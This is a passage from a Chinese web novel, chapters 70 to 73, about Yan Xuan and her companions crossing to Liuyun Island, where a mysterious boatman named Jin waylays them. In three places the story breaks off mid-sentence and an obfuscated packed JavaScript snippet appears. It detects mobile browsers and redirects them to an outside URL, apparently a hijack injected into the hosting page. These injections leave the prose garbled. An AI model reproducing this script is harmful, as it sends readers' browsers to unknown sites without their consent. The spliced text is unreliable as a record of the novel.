他与她亲娘之间的感情不是她能想象的,尤其是经过时间的发酵。做了十几年的晏璇,她最初也不想知道亲生爹娘如何,他们彼此不过陌生人,相对司珩,她的感情几乎浅薄到无。 可是不断的早夭,小九的出现,这一世的特别,她后知后觉到一些异常,即使如此,寻求真相的欲望依旧在亲情之上。她偶尔会有些顾虑,是不是对司珩和盘托出比较好,因为期待值一旦拉高后破灭的瞬间,对人的打击是无法预计的。 从无到有的失去与从有到无的失去,两者并不能相较。 “阿璇,可是晕船不舒服?”孟珎半蹲着,轻问。 晏璇“啊”了声,思绪回笼缓缓摇了摇头,等给时墉看完病再跟舅舅聊一聊吧。 “几位上岛是要去做什么吗?这片岛上的人可不怎么欢迎岛外的人。”船夫突然道。 晏璇抬头,见男人挽着袖子背对他们摇桨,他宽肩窄腰,露出的小臂肌肉结实有力,像船夫又不似。始终低垂的斗笠挡住了他大部分面容,一身粗布短衣未盖实脚腕,肤呈麦色,腕内侧隐约有黑色暗纹隐在裤腿之下。 “看病。”晏璇收回视线,回道。 男人侧首瞥了眼她的腿,笑道:“这儿的人有时自己还需跑到镇上寻医问药,姑娘跑来这看病,可是被人骗了?” 孟珎欲答,晏璇用脚掌微抵了他一下:“听说岛上有位师傅懂些古早的方子,我的腿伤了多时,便想着死马当活马医碰碰运气。” “可你们都是外乡人,一会何人带你们上岛呢?” “自是有人来接。” “哦。原来有熟人,是商量好的。”男人的目光又从晏曜手中的药箱扫过。 晏曜一下抱紧药箱,靠晏璇坐得更近了些。 男人见了一愣,哼笑:“小兄弟怎的如此胆小?” “我、我有点怕水……”晏曜道。 “小曜怕水?”来之前从未听他提起,晏璇拉了拉晏曜的袖子微讶,“别怕,一会就到了,要是实在害怕,你就牵住……师兄的手。” 孟珎:“……” 晏曜点头:“嗯,小姐。” 晏璇见他脸色发白,似乎真的很畏水,便牵着他的袖子未放。 “从前是不是溺过水?”孟珎问。 晏曜垂着头,手上捏紧了几分。 晏璇:“要是不想说就不说。” 看他这样,师兄猜得应该大差不差,或许是流浪时留下的阴影。 “那个人……从前催我们练功,练得不好就会被他扔进水里,等他消气了才会放人出来。”晏曜咬了咬牙,继续道,“我很笨,经常被罚,有一次差点……后来就总有些怕水了。” 那个人渣……晏璇不后悔送出去的那些钱,只懊悔没狠心下点毒手。她一时间沉默,晏曜忙道:“小姐,我以后会努力克服的,绝不拖后腿。” 晏璇摇头:“没关系,下回叫师兄教你泅水。我只是……有点后悔,既没有救你那些师兄弟,也该给那混蛋一点教训。” “他们,他们不愿走,我问过的。”晏曜突地脸色微红,歉意地望望她,“小姐,对不起,烟花日那晚,其实我……回去了一趟。你给了那人好多钱,他没再乱发脾气。” 果然是回去过了…… “小天真。”晏璇微叹着轻敲了一下他的脑门,“像他这种贪得无厌的人,只会收敛一时,那些孩子……自求多福吧。” 晏曜抿了抿嘴,他不敢告诉她,那人再也不可能抬手挥鞭子抽他们,亦或随意将他们投进水缸打罚了。 孟珎将他的一举一动尽收眼底,转而对晏璇道:“阿璇放心,善恶有报,那人嚣张不了多时。” 船头的男人见他们仨说着话,视线总时不时飘到晏曜身上。 晏璇见状问道:“船家可是有什么话要说?” “哦,听闻小兄弟的遭遇,一时想起家中幼弟,自小被家人送去学艺谋生,结果没了音信。” 当真有这么巧的事? 晏璇不无感慨:“小曜从小流落在外,已记不得家中人。不知,船家的弟弟现今多大了?” “离开家时,他方五六岁,过去已有二十年了。” 二十年?那晏曜同他没关系……而且,世上哪来那么多巧合,说认亲就能认一个。世人多有不易,各有各的苦难,晏璇自嘲一笑。 “听船家的口音不像湖心镇人,如何在此撑船谋生?”孟珎在旁问道。 男人手上不慌不忙,从容应道:“公子好耳力。为了寻亲,我也算是辗转各地,前不久到了这湖心镇,碰巧原先的船家老杜旧疾发作无法出船,我曾受过他一饭之恩,便替他跑两天。从前闯荡的时候,学了不少,这划船的功夫也没落下。” 一字一句有理有据,堪称滴水不漏,可太过完美的东西总是假假的,晏璇听罢笑笑,不置可否。 “那船家大哥怎么称呼?”晏璇问。 “我姓金。” “哦,金大哥。” “姑娘客气。” 晏璇看到他瘦削的下巴以及一点微微勾起的嘴角,这人似乎心情不错…… 大约过了一炷香时间,木船靠岸停在一处浅滩上,附近有不少平整的石凳可供人休息。这流云岛虽说不与外界来往,其实也不全然,听姓金的说,岛上的人偶尔会去镇上换些粮食药草。 “各位且先等着,我再去接其他三位。”姓金的道。 晏璇:“麻烦你了,金大哥。” 男人扬了扬手,颇为潇洒。 晏璇被孟珎抱起走下船,在与他擦肩而过的瞬间,她得以窥见男人的相貌。一张年轻的脸庞,至多而立,一双桃花眼,眉目含情,虽略有疲态,却是十足十的俊俏模样。 且再看他如苍松般的体态,沉稳的下盘,如此深藏不露者跑来做什么船夫,若要报恩难道还拿不出一锭银两? “师兄,你觉得姓金的可疑吗?”晏璇问道。 “瞧不出深浅,但绝不是普通人。” “嗯,长得倒是蛮好看的。” 孟珎低头瞧她一眼,古井无波的眼中好似泛起涟漪。 “嘿嘿。”晏璇低笑出声,随即双手揽上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15029218|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的脖颈抱紧,“是好看的大叔,瞅着也就比林叔小几岁。” “我……没有多想。”孟珎移开目光,抱着她朝前走去,被晏璇圈抱住的地方却透出微红,“我知你喜欢美好的人和物,人之常情而已。” “师兄,你也好看,而且越来越好看,我给你的药膏有在用吗?”晏璇就是喜欢对他直白,看他慌乱的样子,心里头藏不住的邪恶念头。 孟珎低“嗯”了声,果不其然,羞于和她对视,直将她安置在一块大石上。 流云岛不小,从远处看郁郁葱葱,上了岸后发现都是成片的密林。晏璇他们落脚的地方有一片空地,再往远了去便是灌木丛和乔木林,和到了雾山脚下没什么两样。 她双手撑坐在石墩上,眺望着湖上风景,感受微风拂脸的清爽。 “小姐……” “嗯?” 晏璇侧头,见晏曜皱着脸,略微扭捏地站在一旁。 “我……早晨好像吃多了,想去旁边方便一下。” “哦,去吧去吧,但别走远,小心些。” 晏曜点点头,将药箱递给孟珎,捂着肚子朝一旁的草丛奔去。 “哎,草纸带了吗?”晏璇追喊道。 “带、带了……” 微颤的声音散在空中,晏璇与孟珎一对视,见他正摇头轻笑。 一众青衣人骑马佩剑等在湖心镇入口大道处的一座凉亭旁,穆青云擦拭着他的佩刀,偶尔向道上瞥去一眼。 “金麓又做什么去了?磨磨唧唧的。” “师叔,他说嘴里淡出个鸟,去熟食店买些吃的再上路。” 穆青云“啧”一声:“格老子的,小兔崽子就他事多。” 等了一刻钟仍不见人,穆青云气得一拍大腿,老毛病也被勾了出来。 “师叔,消消气,再咳可是要把肺咳出来了。” 穆青云深深吸气,顿了顿,摸出腰间药瓶放在掌心瞧着。 “藏了什么宝贝呢?老头子。”一道矫捷的身影从远处跃来,擦过穆青云的身侧,来人顺手一把抢过他手里的东西。 “金麓,那是药,师叔的药!你别乱来!”弟子们叫嚷道。 “少生点气就不用吃药啦。”浑不吝的青年把玩着手中的瓷瓶,一屁股坐在亭下的石凳上。 穆青云冷冷睨着他:“站没站相,坐没坐相,你何时才能有个正形!” 从前混小子还能敷衍地应他一声,今日索性是毫无反应,穆青云沉下声喊他:“同你说话,听到了没有!” 见他低着头不语,只一味摸着药瓶上下左右地看,穆青云简直快气笑了。 “师叔!”混小子冷不丁喊道。 “师叔?”穆青云一愣,本欲发火的神色变得有些怪异,好小子一年到头就没喊过人,“做什么?” “这药是谁给你的?是她,一定是她。”金麓喃喃着,“只有她的药瓶是这样的花纹……” “谁啊?你认识她?”有弟子问道。 “是……小姑奶奶。” “金麓,你魔怔了不成,哪都有你的小姑奶奶。”本以为他会说出个什么名字,结果又是常年挂着嘴上的那位“小姑奶奶”,师兄弟们忍不住呛声。 金麓站起,一把握住穆青云的双手,激动道:“师叔,你告诉我,给你药的人在哪?” 看这小子的样子,莫非真认识那位姑娘,穆青云皱眉道:“昨晚吃面时,遇一位坐轮椅的姑娘说是懂医赠予我的。店家说,她与兄长游玩路过此地。怎么,你晓得此人?” “轮椅?她怎么可能坐轮椅……” 穆青云:“确实是坐着轮椅的姑娘,瞧着血气不足,应是久病缠身。” 话落,金麓闪身朝着镇中跑去。 “师叔,我去去再来。” “臭小子,我们还要赶去雷霆山庄,你去哪?” 定睛再看,已没了金麓的身影。 71. 第 71 章 一大早,坐堂大夫方决明家的门就被叩开了。 他匆匆披衣而起,见杨家管事一脸焦急地等在门口。 “方大夫快快快,我家老爷的心疾又犯了,麻烦您尽快跟我走一趟。” 方决明心头咯噔,这杨大老爷的心病他看了有一个月了,委实没瞧出病症在哪,每每被招去,只能硬着头皮开些益气补肾或是止疼的药。再如此下去,他这条老命危矣。 杨恪着寝衣坐在榻上,脸色煞白,刚刚经历了一阵钻心的疼痛,他正闭目缓气。 方决明收好针立于一旁,踌躇道:“大官人,方某学艺不精不能为您排忧解难,您看要不另请高明再好好诊治一番。” 杨恪抬手,一顿道:“请其他人看过,都说我的身体无大碍,可这心口疼的毛病却愈发厉害……” 方决明:“方某行医多年也未曾遇见此情况。听闻江湖上有不少良医名师,大官人见识广、人脉多,可否去打听一二?或有解法。” 杨恪垂眸,遥远记忆中确有那么一个人,可他不是行医救人的,而是……杨恪微眯双眼,江湖能人众多,重赏之下,他不信找不出一个能治他怪病的人! * 司珩站在栈桥上,眺望湖面。 半晌,他略有不耐地看向杜若:“不是说来回只需一炷香多点的时间,为何那船家还未折返?” 杜若的视线在蓝湖上扫视半圈,平静无波的湖面见不到任何船只,他心下亦疑虑丛生。 虽说撑船的人不是从前的老人,可说要是有人埋伏的可能性也太低了些。在流云岛附近犯事,杜若生平还没见识过。 “同镖头,稍安勿躁,或许他们靠岸后有所耽搁所以迟了些,再等等。”杜若道。 司珩:“这附近只有一艘船?” 杜若:“岛上住民与镇上并不经常往来,这是唯一的上岛途径。” “杜管事,你不会是与那船家串通好了,故意将阿璇他们扔岛上了吧?”花奕气恼道。 “什么?”司珩一惊。 “怎么会?!我一直与大家一起,如何同那船家串通?”杜若几下握拳,平复心中激荡,缓声道,“花女侠,我知明月阁一事,你对我稍有成见,此番我奉命带晏姑娘前去问诊,怎敢造次?若是惹出事来,于我,于病患毫无益处。” 花奕摩挲着手中破妄,哼道:“时天辰看似斯文有礼,暗地里却不知在打什么主意。这个岛看着就怪怪的,谁知道上头藏了什么见不得人的。” 杜若:“……” 司珩见杜若一副被说穿的模样,无比后悔当初没有拦着晏璇,他们这些人是死是活与他何干?做再多善事能改变什么,阿姐还是不知所踪…… 沉默越久,气氛越是剑拔弩张。 杜若试图缓和:“二位,流云岛确有些特殊但绝非虎狼之地,杜某可以性命保证。眼下,还是晏姑娘他们的安危重要。若再等上半刻,船仍没有归岸,我便去镇上请人手,届时,二位可同我一起。” “前辈,如何?”花奕朝司珩问道。 “那……且再等等。” 司珩不信这些江湖人的嘴脸,但他闯荡多年,云雀山庄少有丑闻传出,若是不怀好意,这一路上早该动了手。希望晏璇他们真的只是被小事绊住,而非出了意外。 杜若松了口气,却也只是松了一小口。每次寄去流云岛的信会被寄放在湖心镇上的铁匠铺里,当岛上有人外出便会带回,一早从南塘寄来的信虽被人取走了,可也没留下任何回复。杜若隐忧,现下又有这出意外,颇感不妙。 花奕背起破妄刀,沿湖边慢慢走着,时不时眺望一下。昨晚与晏璇的对话在脑中浮现,她心口砰砰直跳,就怕一语成谶。努力回想着方才晏璇他们上船时,那船家和附近有什么可疑的地方,想了好一会,也只觉得船夫年轻了些,或有些贪心,她不信孟珎摆平不了这样的人。 忽的,脚下传来嗡嗡震动,有人正疾驰着靠近这里,且不止一人。 花奕回身,见司珩也很是警觉,重抽出破妄握在手中,向着声音传来的方向望去。今日这刀几次解下又背上,看来定要出鞘见见血不可了。 几息之间,土路上出现三人,骑马飞奔而来。为首者着一袭雪青银纹束袖袍,牵着缰绳眉眼微沉,轮廓分明的脸雌雄莫辩。后方紧跟着的一男一女,一位肩宽体阔满脸桀骜,一位则不苟言笑冷若冰霜。 好生眼熟,他们是……破庙里遇见的那几个! 也就是说,目光冷沉的这位便是苍翊! 三人勒马急停,面若好女的男人一甩缰绳轻巧落地,视线扫过在场几人,继而脸上浮现一抹淡笑。 “果然是珩哥,多年未见,别来无恙啊。啊不对,前些日子才打过照面的。” 司珩眉头紧锁,后撤一步紧盯着对方:“是你。你来这做什么?” “哈哈……”男人接过后方女子递来的帕子擦了擦手,倒是走近两步道,“珩哥来做什么,我便也来做什么。” 司珩:“……” “你……是苍翊!”杜若心中大惊,这人为何也跟来了? 被道出名字的男人瞥他一眼,转头继续同司珩笑谈:“怎么不见小璇?上回没跟她聊完,我就急着赶路先走一步了。” “你住口,小璇不是你喊的。”司珩嫌弃地皱了下眉,“提到上回,你给我们下药的事,我还没跟你算账!” “唉?珩哥怎如此不知情识趣,我是见你们路途劳累,让你们安心睡会觉罢了。” 花奕:“……” 就这个油嘴滑舌颠倒是非的家伙,害得阿璇莫名其妙哭了一场,多喝了几天的药。 司珩显然见惯了他这副样子,冷哼:“没空与你在这贫嘴,爱去哪待着去哪。” 苍翊摇头:“珩哥年纪大了,脾气也跟着见长。你我还未曾叙旧好好聊聊,我也不知道玥姐怎么样了,问小璇都不肯告诉我。” 司珩的目光一下变得锐利,裹着寒气般死瞪着苍翊。 苍翊嘴角虽噙着笑,眼神却无波澜,冷漠如刀。看来,司珩一直没有回泑山并不是他不想…… 上回在破庙中了招,花奕已是不忿,怪自己防备不够,眼下甫见三人便一直留意他们的动静。 那人高马大的男人下马后便奔向湖边巡视了一番,此刻走到苍翊身侧附耳说了几句,苍翊神色微顿,视线再次扫向他们。 “珩哥,小璇可是乘船上岛了?船家是个身形瘦削的青年。”苍翊问道。 司珩虽不喜苍翊为人,可他突然问话必有原因,心下一转,难道晏璇真落入了歹人之手? 他脸色愈发难看,沉声反问:“你如何知晓船家长相?莫不是知道些什么在此故弄玄虚!” “别急,一时半会他们还不会有事,可再往后我就不清楚了……” 司珩烦透了他藏着掖着的样子,怒道:“莫非那船家就是你的人?你意欲何为!” 苍翊轻哼,单手负于身后道:“珩哥有所不知,这流云岛上的人有些手段,旁人就是上了岛也走不进去。然每年六七月,他们因着一些原因会频繁出岛,有个蠢人便抓住了这点,成日里在此蹲守,只为了见到想见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苍翊上前,一手把住杜若发僵的半边肩膀,一手将玉扣塞入他的衣襟,轻拍了下他的胸口:“如何?” 杜若面色白了又红,红了又白,攥紧了手掌,他深知自己技不如人,可是…… “放开人家!”司珩低喝一声。 苍翊笑意微凝,侧身有些意外地看向他。 司珩:“什么乱七八糟的,要不是你,我们已经上岛办完了事。” “杜、任兄弟,他既然保证了,我信他不会胡来,还是快些上岛找人,你也不想岛上发生什么意外。” 杜若暗暗咬牙,吸气压下心底的难堪。 “好,那便随我来。” * 晏璇朝着芒草丛望了望,晏曜这一去是不是太久了些? “师兄,你去看看晏曜好了没?” “你一人在此,我不放心。”孟珎道。 晏璇一顿,哈哈笑道:“那我同你一起去,就是小曜怕是要羞死了。” 这次,她没让孟珎背着或抱着,而是在他的搀扶下,自己试着拄拐走动。 艰难挪动了几步,晏璇喊了声:“晏曜,小曜,你怎么样了?” 空旷的岛上,唯有她的声音响起以及被惊飞的一群白鹭展翅而去。 不对劲。 晏璇呼吸微滞,飞快环视一周。 “他不怎么样,只是可能要麻烦下二位了。” 一道低沉男声倏地从身后传来。 72. 第 72 章 遮天蔽日的树冠像擎天巨伞,互相交织的缝隙间漏进几缕日光,一眼望不见出口的密林里弥漫着薄薄的晨雾。 晏璇趴在孟珎的肩上,她一指不远处的一棵大树,道:“师兄,我们是不是才从这边走过?这棵长得像师父他老人家的树,我还记得。” 嗯?孟珎一顿,朝晏璇指的方向望去,那是一株较大的藤本植物,斜横生长的树干上有气生根垂落在空中,远望过去像是一位靠坐着垂钓的巨人。 师妹她总有些神奇的比喻,记得他们第一次一起下山赶集,她指着天上的月亮说是开在树枝上的花。 “师父听到你这么说,大抵要想一会才能明白。” 孟珎浅笑了下,随即眉头微皱:“我们确实迷路了,这儿设有五行八卦阵。” “阵?”晏璇奇道。 流云岛难进,她知道必是有些陷阱之类的,不想是阵法,岛上果真是藏了不得了的人。 “当我们踏进这里,看到的东西就不只是表面上的样子,每走一步便生变化。”孟珎道。 “唔……不是很懂。” “没关系,我会带你出去的。” 孟珎说着,将她背到某棵树下,让她暂时坐下歇会。 “方才那人突然发难,让我看看你的脚伤了没有。” 他不说还好,一说,晏璇便隐隐感到一丝疼痛。 她伸着左腿,有些气恼:“我的药箱还落在湖边……那个人就是个疯子,看着人模狗样的,其实脑袋瓜里都塞满了烂棉絮。” “别担心,东西应该找得回来。”孟珎边安慰,边小心抚触她的小腿,“有没有哪里难受?” “还好,刚才落地不小心用力了些,师兄呢?”晏璇抬手摸向他的脸侧,那里多了一条细长的血痕,她哼道,“姓金的要是毁了你的脸,我绝不让他好过,在他脸上划个大王八才行。” 孟珎:“……”一时不知师妹是心疼他,还是心疼他的脸。 他握住晏璇的手,摇头道:“一点点划伤,很快会好。阿璇,你有没有觉得那人像谁?” 像谁? 晏璇回想着那张看似多情的小白脸,发起疯来满是执拗的戾气。 他们本是去寻晏曜,不料有人从背后悄悄逼近。当晏璇听清他的声音,就知今日是上了“贼船”。 “我与几位无冤仇,不会做过分的事,只想借你们的光带我进了这岛即可,那小兄弟我也会保他性命无虞。” 男人出现得悄无声息,本身又气质不凡,必是身怀不俗武功,孟珎忙将她护在身后。 她打量四周,风平树静,猜晏曜应是被此人绑了藏在树后或者杂草丛中,或已失去了神志。她再观男人身上并无与人纠缠过的凌乱,也没有闻到血腥气,可暂时信他说的。 “金大哥,我们几个初来乍到,对此地全然不熟,你也看见了,我们只是等在湖边而已。” “寻常人不会来,至少在我观察的几年中未有。再者,若是想寻什么奇珍异草,有的是地方去不必来此。你们上岛不慌不忙的,还携带药箱,说是看病,不如说是来给人看病的。”男人目光如炬,嘴角紧抿,“我最讨厌撒谎骗人的女人。” 晏璇见他一副深恶痛绝的模样,好似被女人怎么了似的,溢出满嘴的怨男味。她冷冷瞅着他,不气反笑:“天下之大,我们想去哪就去哪,就算我说了谎,不想告诉你这个陌生人实属正常,也没人在乎你喜欢还是讨厌……” 莫名其妙的男人。 孟珎挡住他瞬间阴沉的视线,冷声道:“我们不识路,你找错人了。” 姓金的一愣,自顾自又摇起头:“你们不认路,可有来带你们认路的人。别磨蹭,往前走着便是。” 不知他从哪抽出一根藤条,一甩手便是一道劲风,伴着簌簌掉落的毛刺。那些细小如绒毛的小刺落到人身上,虽不至于威胁性命,一旦接触了皮肤可会痛痒一阵,是一种天然的致敏物。 越漂亮的女人越危险,晏璇觉得此话太失之偏颇,这长得好看的男人也不遑多让,心眼多得很。 “师兄小心。”晏璇不怕这些,可孟珎不是,她推了他一小把却是用力不当,当场觉得左小腿木了一会接着涌上一股热血。 孟珎察觉到身周飞舞着的东西,他一把抱过晏璇,旋身避开。 “快走,我也不想对女人动手,尤其还是身负残疾的女人。”姓金的催道。 晏璇:“……”好一个正人君子。 这流云岛是万万不能瞎闯的,只要拖到司珩他们赶来就好…… 孟珎背对着男人小步走动,晏璇从百宝袋里摸出一个小瓷瓶,她向孟珎微一点头,在她向后抛洒出瓶中药粉的同时,孟珎提气疾退。 男人的警觉性亦十分之高,见晏璇他们动作,他随即摘下头上的斗笠,回旋之间仿若竖起一道气墙挡去了大部分药粉。 他连退几步,后又加急追上,愠怒道:“敬酒不吃吃罚酒。” 晏璇攀着孟珎的臂膀,看他猛追不舍的样子,心头讶异,低声道:“不该啊,那是我特制的麻药。” “阿璇,扶好!”孟珎单手抱稳她,侧身两枚飞刀掷出,只听得“叮当”声响,随着刀落另有两片柳叶般大小的竹片掉落。 好你个姓金的,真是看不出来,若是那两片东西扎进了身体,不死也得痛死。晏璇想着自己撒出去的那点药,还是太心软了。 孟珎起先带着她沿着岛边走,不想男人是一心要逼着他们往岛内去。孟珎多次因她绊住了手脚,身上被划了几道,有外袍挡着看不出伤口深浅,可脸上是实实在在冒出了血珠。 晏璇望着那血痕,心头火起,这帮会些功夫就自以为是的家伙,总不能好好说话。她拉了拉孟珎的衣袖:“师兄,我们就往里走。” 她抬头向姓金的喊道:“你不是急着要进岛吗?那便好好跟着。” 男人收力顿住,微哼:“早知如此何必当初!” 当他再次接近,距离晏璇他们五步之远,晏璇又抛出一个药瓶,此时,孟珎运起凌云纵,回身便是一掌。 男人猝不及防,倒退数步,等他挥散尘灰站稳,晏璇和孟珎已钻入密林一角,转眼失了踪迹。 晏璇回想着那人时而兴奋时而晦暗的神情,恍惚中眼前似飘过某张故人的脸,可一时间,又想不起在哪里见过。 “师兄,你觉得……他像谁?” 孟珎抬手,一指指向她眉间:“若这里多了些什么,是不是有印象了?” 晏璇摸着额头,想象着那人的眉间,多些什么呢?总不能是姑娘家贴的花钿,那是戴了抹额还是佩戴了什么饰品,亦或是长了什么胎记? 晏璇一顿,眼神渐亮,她望向孟珎道:“我想起一个人。” 孟珎点头:“嗯,我们在云边小镇见过。” “金麓!”两人异口同声道。 晏璇哼笑,咬了咬牙道:“他说他姓金,莫非金麓是他那个失散多年的弟弟?” 孟珎:“若他未说谎,我猜是的。” 他们虽谈不上和金麓有什么交情,可若将这点消息告诉那人,是不是能治一治他不大稳定的精神状况?好好一个俊朗青年,不听人话随意攀咬属实可惜了。 “阿璇,为何叹气?” “哦,没什么。为了对付他损失了我两瓶药,有些不甘罢了。”晏璇撇撇嘴,“我明明记得那些都是我特制加强了药效的,就算他有神功,也不可能一点事都没有,真是怪哉。” “或许他服有避毒丹之类的。此前,我们替峋山派的疗伤,我发现那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15058297|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫商陆的便是,若没有他吃下的丹药解了部分毒性,他那日不可能撑得过。这江湖上,还有许多我们未知的人和事。”孟珎道。 晏璇:“师兄说得有理。” 随着时间推移,日头渐大,林子里的光线也足了些。两人稍作歇息,正待寻找出路。 不远处,层层叠叠的落叶之上响起了嘎吱声。 “姓金的这么快追来了?”晏璇诧异。 “不是他,听声音不止一人。”孟珎凝眉,护住晏璇挡在其身前。 一眨眼,突然从四周冒出几个穿着粗布麻衣,手持长矛短戟的男人,他们头戴布包,露出的双耳上别着少见的圆形银饰,打眼望去,与湖心镇上的住民显然不是一个装扮。 “你们是什么人?可知擅闯流云岛是死罪。”其中一人对着他们喝道。 死罪?他们莫不是真当自己是土皇帝了。 孟珎抬手作揖道:“诸位,我们无意冒犯,是受人邀请前来岛上给一位贵人治病的。” “贵人?姓甚名谁?我们怎么不知道有谁需要岛外的人前来看病。” 晏璇:“病人叫时墉,领我们来的是一位年轻人,他叫杜若,我们不小心与他走散了。” “时墉……杜若?哼,以为随便编两个名字就能糊弄过去,来人,将他们两个剥下外袍叉出去!” 晏璇:“!” 难怪面摊大伯几次嘱咐她不要靠近这里,竟是一帮不讲理的野蛮人。 小九蹲在晏璇肩头散发着微弱荧光,自到了湖心镇,它好像水土不服似的,半死不活,晏璇调侃它别不是又被植入了什么病毒,叫它回去做个检查。 小九:【宿主,或许那两人是改了名字的。】 晏璇无比怨念时天辰什么都不说清楚,横生枝节,既然让他们上岛来,也该跟岛上的人通个气。 “慢着!”晏璇扶着孟珎站起,扫视一圈道,“那人十几年前就来这养病,或许几位大哥不清楚,还有那位领路人,来此之前他说他姓任,或许‘杜若’只是他在外行走江湖的别名。” “姓任……”对面几人低语着,你看看我,我看看你,显出一副迟疑的表情。 晏璇和孟珎对视一眼,略松一口气,她也是听了小九的话猜测,杜若跑一趟流云岛换个姓氏的用意何在。 “枫哥,又发现一个!” 随着一声呼叫,只见两个同样穿麻衣的男人架着一个人向此处奔来,那人头颈低垂,长发掩面,一副不省人事的样子。 可晏璇一眼看出,被架着拖行的人就是姓金那疯子。 被喊“枫哥”的男人上前,一把撩开姓金的头发,一顿之下重重叹了口气:“真是冥顽不灵。按老规矩,把他扔到湖里去!” “他中毒了。”孟珎偏头在她耳侧道。 晏璇微微点头,姓金的眼底发黑,双手指甲盖略泛紫色,应是着了她的道,方才见他追人的架势,还以为他毫发无伤呢。 若此刻,他被人丢入湖中,极大可能会被溺死。 正当那二人得了令,要将人拖去投湖,晏璇抬手道:“且慢!” 同时,一道慵懒含着不耐的女声也响了起来。 “等等。” 晏璇侧头,见着一身烟紫色云锦长裙的女子缓步走来,她头上斜戴着一圈花鸟纹样的银饰,随着她走动,银片微微晃动,发出叮咚声响。 “姑姑!” “姑姑,你怎么出关了?” 姑姑?晏璇眨眨眼,面前的女子鲜妍明媚,怎么也不像是这群糙汉子的姑姑。 言笑晏晏的女子定定看她一眼。 “嗯?长得好乖的姑娘哦,快让我香一个!” 晏璇:“哈?” 怔愣间,只觉一大团紫色向她袭来。 73. 第 73 章 随着紫色逼近,那惹眼的饱满红唇微微嘟起张开。 玉色面庞柔美圣洁,翘起的眼尾又魅色撩人,晏璇被盯得一激灵,美人献吻,竟恐怖如斯,热情得她无力招架。 愣怔间,她就觉腰间一紧,是孟珎揽过她退开两步。 美人顿住,英姿潇洒,转身间脸上稍显恼意:“跑什么,我不吃人。” 她虽这般说,可看人的眼神炙热,被盯住时有种掉入蛛网缚住手脚的错觉。晏璇直呼不简单,又作擅长的乖巧状腼腆不语,孟珎亦垂眸,侧身挡着她。 “这位小哥……”女人抬着下巴将孟珎上下打量着,“长相虽不算合我的口味,倒也不赖,你们都不愿同我亲近亲近吗?” 晏璇:“……” 她拉拉孟珎的衣袖,示意他再往旁边躲躲。 “小姑姑,别闹了!”被称为“枫哥”的男人大步上前。 “嗯?小枫枫。” 晏璇眼见男人的眉头跟着猛跳了下,他颇有些咬牙切齿地道:“小姑姑!这些外人私闯流云岛,我们还等着处理。” “不是私闯,真的有人请我们来给人看病。”晏璇探头道。 女人眼波流转望向她:“我知道,是荼荼带你们来的,他人呢?” 晏璇:“荼荼?” 在场几人俱发出相同疑问。 “是任荼荼?” “他要回来,怎么没听老阁主提起?” “就算是他,也不能不守规矩。” 见他们吵闹,晏璇悄声问孟珎:“他们说的这个‘任荼荼’不会指的是杜若吧?” 孟珎与她无声对视片刻,一切尽在不言中。 “小枫枫,他们是有人请来给竹楼那位看病的,师伯忙忘了才命我特地过来一趟。”女人又道。 “竹楼……” 几个男人面面相觑,本含着不满的神色变得耐人寻味。 “枫哥”回头盯着晏璇他们看了会,随后挥挥手,两个壮汉围了过来:“既然如此,那先带他们去议事堂。” “二位,走吧。” 虽不知这个“师伯”是谁,但应该是主事的,且事先与杜若他们联系过。晏璇便由孟珎抱着,随众人走出密林,每踏出的一步向左向右似都有规律,但她不懂易经看不出门道,只叫小九暗中记下。 走了几步,晏璇突然想起什么往后一瞧,某个昏迷着的男人正被悄悄拖走。 一头凌乱的长发,一身被扯皱的衣袍,还有一只要掉不掉的鞋子,好不狼狈。 晏璇适时叫停:“有误会,他……和我们也是一道的。” “是吗?”“枫哥”双眼微眯,全然不信,“你们在这,他为什么却出现在别的地方?我劝姑娘不要徒惹是非。” 晏璇:“……” 他一打手势,姓金的被继续往另一边拖去。 晏璇忙问小九:【我如果将他保下,算不算功德分?】 小九:【你对他施以援手,自然算。】 而且,造成眼下这副局面还有她一半原因,晏璇不好袖手旁观。 “等等,你们要把他带去哪?” “丫头,他们只是把人送去岛外,不会怎么样的。”女人听她声音急切,笑道。 晏璇抿抿嘴,一脸不服:“姐姐,不好说,方才我们还听他要把人拉去投湖。若你来得不及时,我和师兄也要被剥了衣服拖走,怎么说我也是个姑娘家……” “嗯?有这回事?”女人眉毛一挑,向旁边的男人睨去。 男人无奈,叹道:“小姑姑,你难道闭关久了忘记了我们这的规矩?岛外有警示,这些来路不明的人还要硬闯,那结果只有一个。他们既无领路人,也无信物在手,自然可疑。” 警示?晏璇上岸后什么都没见到。 女人怕是听过了太多次相似的抱怨,不自觉眼神游移,一手摸上了自己的耳垂。 晏璇见状,道:“现在有姐姐作保,也算为我们洗脱了嫌疑。这个人是我腿脚不便找来帮忙的,杜、任荼荼去接其他人,我们不小心误入这才走散了。” 男人的视线扫过她手里的木拐和她僵硬的伤腿,看着姓金的顿了会,突然改口道:“把他送到湖边。” “丫头,岛上确有不便,这样如何?”女人问。 